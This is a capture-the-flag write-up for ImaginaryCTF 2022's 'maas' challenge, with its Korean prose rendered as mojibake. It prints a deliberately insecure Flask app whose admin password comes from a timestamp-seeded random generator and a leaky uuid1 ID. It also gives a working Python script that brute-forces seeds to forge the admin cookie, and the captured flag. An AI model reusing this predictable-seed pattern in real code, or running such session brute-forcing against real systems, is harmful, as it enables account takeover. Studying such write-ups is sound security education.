[ImaginaryCTF 2022] maas
mass
CTF๋ฅผ ํ ๋๋ ๋๋ค๋ฆฌ๋ ๋๋๋ ค ๋ณด๊ณ ๊ฑด๋๋ผ ๋ผ๋ ๊ตํ์ ์ค ๋ฌธ์ ์๋ค.
๋ฌธ์ ์ ๋ก๊ทธ์ธ ํ์ด์ง์ ํ์๊ฐ์
ํ์ด์ง์ด๋ค. ํ์๊ฐ์
์ Username๋ง ์
๋ ตํด์ฃผ๋ฉด ๋๋ค.
test1 ์ผ๋ก ํ์๊ฐ์
ํ๋๋ Password๋ฅผ ๋ฟ๋ ค์ค๋ค. Password๋ฅผ ๋ง๋ค์ด์ฃผ๋ ๋ก์ง์ด ์๋ ๊ฒ ๊ฐ๋ค.
์ฃผ์ด์ง ๋น๋ฐ๋ฒํธ๋ก ๋ก๊ทธ์ธํ๋๋ admin๋ง์ด flag๋ฅผ ์ป์ ์ ์๋ค๊ณ ํ๋ค.
์ฝ๋๋ฅผ ๋ณด๋ฉฐ admin ๊ฒ์ฆ ๋ก์ง์ ์ดํด๋ณด์.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, make_response, redirect
from hashlib import sha256
import time
import uuid
import random
app = Flask(__name__)
memes = [l.strip() for l in open("memes.txt").readlines()]
users = {}
taken = []
def adduser(username):
if username in taken:
return "username taken", "username taken"
password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
cookie = sha256(password.encode()).hexdigest()
users[cookie] = {"username": username, "id": str(uuid.uuid1())}
taken.append(username)
return cookie, password
@app.route('/')
def index():
return redirect("/login")
@app.route('/users')
def listusers():
return render_template('users.html', users=users)
@app.route('/users/<id>')
def getuser(id):
for k in users.keys():
if users[k]["id"] == id:
return f"Under construction.<br><br>User {users[k]['username']} is a very cool user!"
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
resp = make_response(redirect('/home'))
cookie = sha256(request.form["password"].encode()).hexdigest()
resp.set_cookie('auth', cookie)
return resp
else:
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == "POST":
cookie, password = adduser(request.form["username"])
resp = make_response(f"Username: {request.form['username']}<br>Password: {password}")
resp.set_cookie('auth', cookie)
return f"Username: {request.form['username']}<br>Password: {password}"
else:
return render_template('register.html')
@app.route('/home', methods=['GET'])
def home():
cookie = request.cookies.get('auth')
username = users[cookie]["username"]
if username == 'admin':
flag = open('flag.txt').read()
return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes))
else:
return render_template('home.html', username=username, message='Only the admin user can view the flag.', meme=random.choice(memes))
@app.errorhandler(Exception)
def handle_error(e):
return redirect('/login')
def initialize():
random.seed(round(time.time(), 2))
adduser("admin")
initialize()
app.run('0.0.0.0', 8080)
home() ์ ์ดํด๋ณด๋ฉด ์ฟ ํค๊ฐ์ผ๋ก admin ๊ฒ์ฆ์ ํ๋ค. ๊ณ์ ๋ง๋ค ๊ณ ์ ํ ๊ฐ์ ๊ฐ์ง๊ณ ์๊ธฐ ๋๋ฌธ์
admin์ด ์๋ ๋ค๋ฅธ ๊ณ์ ์ผ๋ก FLAG๋ฅผ ์ป๋ ๊ฒ์ ์ฌ์ค์ ๋ถ๊ฐ๋ฅํด ๋ณด์ธ๋ค.
admin์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด admin์ผ๋ก ๋ก๊ทธ์ธํ๋ ๊ฒ์ ๋ชฉํ๋ก ํด์ผ ํ ๊ฒ ๊ฐ๋ค.
/user ๊ฒฝ๋ก์ ์ ์ํด๋ณด๋ฉด ํ์๊ฐ์
ํ ๋ชจ๋ user๋ค์ด ๋ณด์ธ๋ค. ์ ์ผ ์์ admin์ด ๋ณด์ธ๋ค.
admin์ ํด๋ฆญํด ๋ณด๋ฉด ์ด๋ฌํ ํ์ด์ง๊ฐ ๋์ค๊ณ ์ด ํ์ด์ง์์ ์ ์ ์๋ ๊ฒ์ /users ๋ค์ ๊ฒฝ๋ก์ธ admin id ๋ฟ์ด๋ค.
์ฌ๊ธฐ์ ๋์ด์ ํ ์ ์๋๊ฒ์ด ์์ด ๊ฝค ์ค๋์๊ฐ ์ฝ์งํ๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def adduser(username):
if username in taken:
return "username taken", "username taken"
password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
cookie = sha256(password.encode()).hexdigest()
users[cookie] = {"username": username, "id": str(uuid.uuid1())}
taken.append(username)
return cookie, password
def initialize():
random.seed(round(time.time(), 2))
adduser("admin")
initialize()
app.run('0.0.0.0', 8080)
๋ค์ ์ฝ๋๋ก ๋์์ ์ดํด๋ณด๋ฉด password์ cookie ๊ทธ๋ฆฌ๊ณ id๋ฅผ ๋ง๋๋ ๋ก์ง์ด ์๋ค.
random.choice()๋ก password๋ฅผ ๋ง๋ค๊ณ sha256์ผ๋ก hashingํด cookie๋ฅผ ๋ง๋ ๋ค.
์ฌ๊ธฐ์ initialize()์ radome.seed()๋ฅผ ๋ณด๋ฉด ์๋ฒ๊ฐ ์ฒ์ ์ด๋ฆด ๋ seed๊ฐ์ ์ค์ ํด์ฃผ๋ฉด์ admin๊ณ์ ์ ๋ง๋ค์ด ์ค๋ค. seed๊ฐ์ time.time() ๊ฐ์ ์์ฃผ์ ๋์งธ์๋ฆฌ๊น์ง ๋ฐ์ฌ๋ฆผํ ๊ฐ์ด๋ค.
python์ random.choice๋ seed๊ฐ์ ์ํฅ์ ๋ฐ๋๋ค. seed๊ฐ์ด ๊ฐ์ผ๋ฉด random.choice๊ฐ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํดํ๋ค. ์ฐ๋ฆฌ๊ฐ time.time() ๊ฐ๋ง ์ ์ ์์ผ๋ฉด seed ๊ฐ์ ์์๋ด admin์ cookie๊ฐ์ ์ฐพ์๋ผ ์ ์๋ค.
1
users[cookie] = {"username": username, "id": str(uuid.uuid1())}
์ฌ๊ธฐ์ ์ฃผ๋ชฉํด์ผ ํ ๋ถ๋ถ์ uuid.uuid1์ด๋ค. ๋์๋กญ์ง ์๊ฒ ๋๊ฒผ๋ uuid1์
host ID, ์ํ์ค ๋ฒํธ, ๋ฐ ํ์ฌ ์๊ฐ์ผ๋ก UUID๋ฅผ ์ค์ ํ๋ค. ์ฆ uuid1์ผ๋ก ์์ฑ๋ admin์ ID๋ฅผ decodeํด๋ณด๋ฉด ๊ณ์ ์ด ์์ฑ๋ ์๊ฐ์ ์ ์ ์๋ค.
UUID ๋์ฝ๋๋ก ์๊ฐ์ ์์๋๋ค. ์ด์ ์์๋ธ ์๊ฐ์ format์ time.time()์ฒ๋ผ unix timestamp๋ก ๋ณํํ๋ฉด
์ฝ๋๊ฐ ๋์๊ฐ๋ ์๊ฐ์ด ํ์ํ๊ธฐ ๋๋ฌธ์ ์ ํํ seed๊ฐ์ด ์๋ ๊ทผ์ฌ๊ฐ์ ์์๋๋ค.
๋ฐ๋ผ์ ๋ง๋ seed๊ฐ์ด ๋์ฌ ๋ ๊น์ง cookie๋ฅผ ๋ง๋ค์ด /home๊ฒฝ๋ก์ ์ ์ํ๋ฉด flag๋ฅผ ํ๋ํ ์ ์์ ๊ฒ ๊ฐ๋ค.
์๊ฐ์ ์ฐ์์ ์ด๊ธฐ ๋๋ฌธ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์์์ ์ ๋ถ์ฌ ์ฃผ์์ง๋ง ํ์ฌ ๋์งธ์ง๋ฆฌ๊น์ง ๋ฐ์ฌ๋ฆผํด ์ฃผ์๊ธฐ ๋๋ฌด๋น 0.01์ฉ ๋ํด์ฃผ๋ฉฐ cookie๋ฅผ ๋ง๋ค์ด ์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, time
import random
from hashlib import sha256
i = 1658155912
for count in range(1000):
random.seed(round(i, 2))
password ="".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
cookie = sha256(password.encode()).hexdigest()
URL = "http://maas.chal.imaginaryctf.org/home"
cookies = {"auth":cookie}
res = requests.get(URL, cookies=cookies)
if "Hello admin!" in res.text:
print(res.text)
break
else:
fail = str(count)+ " try " + cookie
print(fail)
i += 0.01
๋ฌธ์ ๋ฅผ ํ๊ธฐ์ํ script์ด๋ค. ์ด script๋ฅผ ๋๋ ค๋ณด๋ฉด
flag๋ฅผ ์ป์ ์ ์๋ค. ๋๋ค๊ฐ์ด๋ผ๊ณ ๊ทธ๋ฅ ์ง๋์ณค๋ UUID์ ๋ํด ๋ค์ ๊ณต๋ถํ ์ ์๋ ๊ณ๊ธฐ๊ฐ ๋์๋ ๊ฒ ๊ฐ๋ค.
FLAG : ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d}








